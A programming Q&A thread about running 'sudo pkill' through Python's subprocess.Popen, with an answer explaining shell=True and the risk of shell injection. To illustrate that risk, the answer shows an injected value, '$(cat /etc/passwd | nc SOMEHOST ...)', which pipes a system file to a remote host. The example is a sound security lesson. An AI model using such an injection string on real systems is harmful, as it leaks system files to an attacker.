0

I'm trying to kill a specific python process launched earlier, lets call it test.py.
The command in linux which terminates it is : sudo pkill -f test.py-> works like a charm.

However when trying to launch via python code:
subprocess.Popen('sudo pkill -f test.py', stdout=subprocess.PIPE)
I get a stacktrace with OSError: [Errno 2] No such file or directory

Any idea what am I doing wrong?

2
  • You need to use os.killpg to kill a process. For that you need the pid of the process. Commented Dec 3, 2015 at 14:30
  • 1
    @jayant The sudo part will be hard to emulate using a syscall... Commented Dec 3, 2015 at 14:31

1 Answer 1

3

By default, subprocess.Popen will interpret a string argument as the exact command name. So, you pass a string foo bar, it will attempt to locate an executable named foo bar and invoke it without arguments. Unlike an interactive shell, it will not execute the command foo with the single argument bar.

When you type foo "bar baz" or foo | bar into a shell, it is the shell that splits the argument line into words and interprets those words as command name, arguments, pipe delimiters, redirection operators, etc. The simplest way for subprocess.Popen to do this kind of input interpretation same is by using shell=True to request that the argument be passed through a shell:

subprocess.Popen('sudo pkill -f test.py', shell=True, stdout=subprocess.PIPE)

Unfortunately, as noted in the documentation, this convenient shortcut has security implications. Using shell=True is safe as long as the command to run is fixed (and ignoring the obvious security implications of allowing apparently password-less sudo.) The problem arises when the arguments are assembled from pieces that come from other sources. For example:

# XXX security risk
subprocess.Popen('sudo pkill -f %s' % socket.read(), shell=True,
                 stdout=subprocess.PIPE)

Here we are reading the argument from a network connection, and splicing it into a string passed to the shell. Aside from the obvious problem of a maliciously crafted peer being able to kill an arbitrary process on the system (as root, no less), it is actually worse than that. Since the shell is a general tool, an attacker can use command substitution and similar features to make the system do anything it wants. For example, if the socket sends the string $(cat /etc/passwd | nc SOMEHOST; echo process-name), the Popen above will use the shell to execute:

sudo pkill -f $(cat /etc/passwd | nc SOMEHOST; echo process-name)

This is why it is generally advised not to use shell=True on untrusted input. A safer alternative is to avoid running the shell:

# smaller risk
cmd = ['sudo', 'pkill', '-f', socket.read()]
subprocess.Popen(cmd, stdout=subprocess.PIPE)

In this case, even if a malicious peer slips something weird into the string, it will not be a problem because it will be literally sent to the command to execute. In the above example, the pkill command would get a request to kill a process named $(cat ...), but there would be no shell to interpret this request to execute the command inside the parentheses.

Even without a shell, invocation of external commands with untrusted input can still be unsafe in case the command executed (in this case sudo or pkill) is itself vulnerable to injection attacks.

Sign up to request clarification or add additional context in comments.

5 Comments

Thanks, but I heard that shell=true is not recommanded due to security reason, maybe there is another workaround without shell?
In addition I would like to know what the exact meaning of shell=true, I not sure I understand its exact meaning
@JavaSa I've expanded the answer to include more information on shell=True. Also, don't forget to consult the documentation.
Thank you very much for your very informative answer, I got it now except that didn't understand why the second option has much smaller risk, as both examples read from external source.
@JavaSa Because, when there is no shell involved, there is no reason why $(cat ...) would be interpreted as anything other than a regular argument. I've updated the answer to mention that explicitly.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.